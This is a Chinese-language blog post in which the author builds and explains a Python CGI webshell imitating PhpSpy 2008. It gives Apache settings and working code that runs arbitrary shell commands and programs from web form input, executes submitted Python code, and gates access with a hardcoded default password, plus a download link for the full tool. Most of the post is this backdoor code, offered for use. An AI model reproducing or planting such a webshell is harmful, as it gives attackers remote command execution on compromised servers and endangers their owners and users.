python实战--Python Web

发布时间:2019-08-30 08:40:35编辑:auto阅读(1399)

       最近在研究WebShell,于是打算写一个Python版的WebShell,使用的是cgi, Apache配置文件http.conf需做如下:

    我的cgi脚本放到F:\py_cgi目录下,其中cgi-script指定脚本后缀名,例如

    AddHandler cgi-script .py
    ScriptAlias /cgi-bin/ "F:/py_cgi/"
    <Directory "F:/py_cgi">
        AllowOverride None
        Options All
        Order allow,deny
        Allow from all
    </Directory>

    这个WebShel0l实现模仿了PhpSpy 2008,但功能没有那么强大,我会利用业余时间慢慢加强,下面先看看效果。


    经典的登录框:密码默认:123456



    首页显示: 其中文件管理是最烦的,目前只有显示功能,其余操作,等待添加


    下面这是命令执行,支持调用程序传递参数,支持执行命令

    这是一些系统信息,貌似通过cgi模块,很多变量获取不到,我也没做特殊处理(ps,偷偷懒)



    下面是执行python命令


    下面将介绍各个模块实现。

    有一些全局变量和函数需要说明:

    from os import environ
    form = cgi.FieldStorage()
    
    # ===================== 程序配置 =====================
    admin={}
    # 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
    admin['check'] = True
    admin['pass'] = '123456'
    
    # 如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
    # cookie 前缀
    admin['cookiepre'] = '';
    # cookie 作用域
    admin['cookiedomain'] = '';
    # cookie 作用路径
    admin['cookiepath'] = '/';
    # cookie 有效期
    admin['cookielife'] = 86400;
    
    # ===================== 配置结束 =====================
    
    self = os.path.basename(__file__)
    timestamp = time.time()
    
    def getcookie(key):
        if environ.has_key('HTTP_COOKIE'):
           for cookie in environ['HTTP_COOKIE'].split(';'):
                k , v = cookie.split('=')
                if key == k:
                    return v
        return ""
    
    
    def getvalue(key):
        if form.has_key(key):
            return form.getvalue(key)
        return ""
    Cookie是存储在CGI环境变量HTTP_COOKIE的,他们将有以下的形式.

    key1=value1;key2=value2;key3=value3....

    如果对Python cgi不熟悉的可以参考这篇博文:http://www.yiibai.com/python/python_cgi_programming.html(ps:里面也有一些小错误,需要注意)

    登陆支持cookie,可以启用验证和关闭验证,代码如下:

    def login():
        if admin["check"]:
            if getvalue("doing") == "login":
                if admin["pass"] == getvalue("password"):
                    print "Set-Cookie:Pyspypass=%s" % admin["pass"]
                    #print "Set-Cookie:Expires=Tuesday, 31-Dec-2014 23:12:40 GMT"
                    print "Content-type:text/html"
                    print
                    index()
                    return
            if getcookie('Pyspypass') != admin['pass']:
                print "Content-type:text/html"
                print
                loginpage()
            else:
                print "Content-type:text/html"
                print
                index()

    其中getvalue是获取表单参数,getcookie是获取cookie信息。

    命令执行是通过subprocess.Popen和os.execve实现,比较简单,代码如下:

    def do_shell():
        log = "/c net start > %s%slog.txt" %(os.getcwd(),os.sep)
        if sys.platform == "win32":
            path ,args ,com = "c:\windows\system32\cmd.exe" ,log ,"ipconfig"
        elif sys.platform == "linux2":
            path ,args ,com = "/bin/bash" ,"--help" ,"ifconfig"
        else:
            path ,args ,com = "" ,"" ,""
    
        shell_cmd = getvalue("command").strip()
        shell_pro = getvalue("program").strip()
        is_cmd = True if shell_cmd !="" else False
        is_pro = True if shell_pro !="" else False
    
        program = shell_pro or path
        parameter = getvalue("parameter").strip() or args
        command =  shell_cmd or com
    
        result = ""
        if is_cmd:
            p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
            result = "".join(p.stdout.readlines())
    
        shell = """
        <table width="100%%" border="0" cellpadding="15" cellspacing="0"><tr><td>
        <form name="form1" id="form1" action="" method="post" >
        <h2>Execute Program »</h2>
        <input id="action" type="hidden" name="action" value="shell" />
        <p>Program<br /><input class="input" name="program" id="program" value="%s" type="text" size="100"  /></p>
        <p>
        Parameter<br /><input class="input" name="parameter" id="parameter" value="%s" type="text" size="100"  />
        <input class="bt" name="submit" id="submit" value="Execute" type="submit" size="100"  />
        </p>
        </form>
        <form name="form1" id="form1" action="" method="post" >
        <h2>Execute Command »</h2>
        <input id="action" type="hidden" name="action" value="shell" />
        <p>Command<br /><input class="input" name="command" id="command" value="%s" type="text" size="100"  />
        <input class="bt" name="submit" id="submit" value="Execute" type="submit" size="100"  /></p>
        </form>
        <pre> %s </pre>
        </td></tr>
        </table>
        """ % (program,parameter,command,result)
        print shell
    
        if is_pro:
            os.execve(program, parameter.split(), os.environ)
    python命令执行通过execfile实现:

    def do_eval():
        code = getvalue("pythoncode")
        tmp = open("temp.py","w")
        tmp.write(code)
        tmp.close()
        file=StringIO.StringIO()
        if code != "":
            stdout=sys.stdout
            sys.stdout=file
            try:
                execfile("temp.py")
            except Exception,e:
                file.write(str(e))
            sys.stdout=stdout
        os.remove("temp.py")
    
        eval = """
        <table width="100%%" border="0" cellpadding="15" cellspacing="0"><tr><td>
        <form name="form1" id="form1" action="" method="post" >
        <h1> <pre>%s</pre> </h1>
        <h2>Eval Python Code »</h2>
        <input id="action" type="hidden" name="action" value="eval" />
        <p>Python Code<br /><textarea class="area" id="phpcode" name="pythoncode" cols="100" rows="15" >%s</textarea></p>
        <p><input class="bt" name="submit" id="submit" type="submit" value="Submit"></p>
        </form>
        </td></tr></table>
        """ % (file.getvalue(),code)
        print eval

    为了获取执行的结果,我们将标准输出重定向到内存(StringIO),StringIO相当好用。本来是用exec实现的,但发现在执行时需要处理缩进,太复杂了。

    所有的调度是通过do_handler函数实现的。

    def handler():
        action = getvalue("action")
        if action == "" or action == "file":
            do_file()
        elif action == "shell":
            do_shell()
        elif action == "env":
            do_env()
        elif action == "eval":
            do_eval()

    很简单,具体原理主要是通过点击超链接,通过js调用隐形表单,cgi.form获取“action”值。由于WebShell需要在一个文件中,所以使用了很多的隐形表单,不然不好区分不同的操作。

    文件操作中获取权限代码如下:

    def getPerms(path):
        user = {}
        group = {}
        other = {}
        mode = os.stat(path)[stat.ST_MODE]
        perm = oct(mode)[-4:]
        type = ""
    
        if stat.S_ISDIR(mode):
            type = 'd'
        elif stat.S_ISLNK(mode):
            type = 'l'
        elif stat.S_ISCHR(mode):
            type = 'c'
        elif stat.S_ISBLK(mode):
            type = 'b'
        elif stat.S_ISREG(mode):
            type = '-'
        elif stat.S_ISFIFO(mode):
            type = 'p'
        elif stat.S_ISSOCK(mode):
            type = 's'
        else:
            type = '?'
    
        user['read'] = 'r' if (mode & 00400) else '-'
        user['write'] = 'w' if (mode & 00200) else '-'
        user['execute'] = 'x' if (mode & 00100) else '-'
        group['read'] = 'r' if (mode & 00040) else '-'
        group['write'] = 'w' if (mode & 00020) else '-'
        group['execute'] = 'x' if (mode & 00010) else '-'
        other['read'] = 'r' if (mode & 00004) else '-'
        other['write'] = 'w' if (mode & 00002) else '-'
        other['execute'] = 'x' if (mode & 00001) else '-'
    
        return perm,type+user['read']+user['write']+user['execute']+group['read']+group['write']+group['execute']+other['read']+other['write']+other['execute']

    所有代码如下,文件操作模块比较乱,功能有待加强,代码还不完整。

     代码下载:http://download.csdn.net/detail/yueguanghaidao/5760451


     


关键字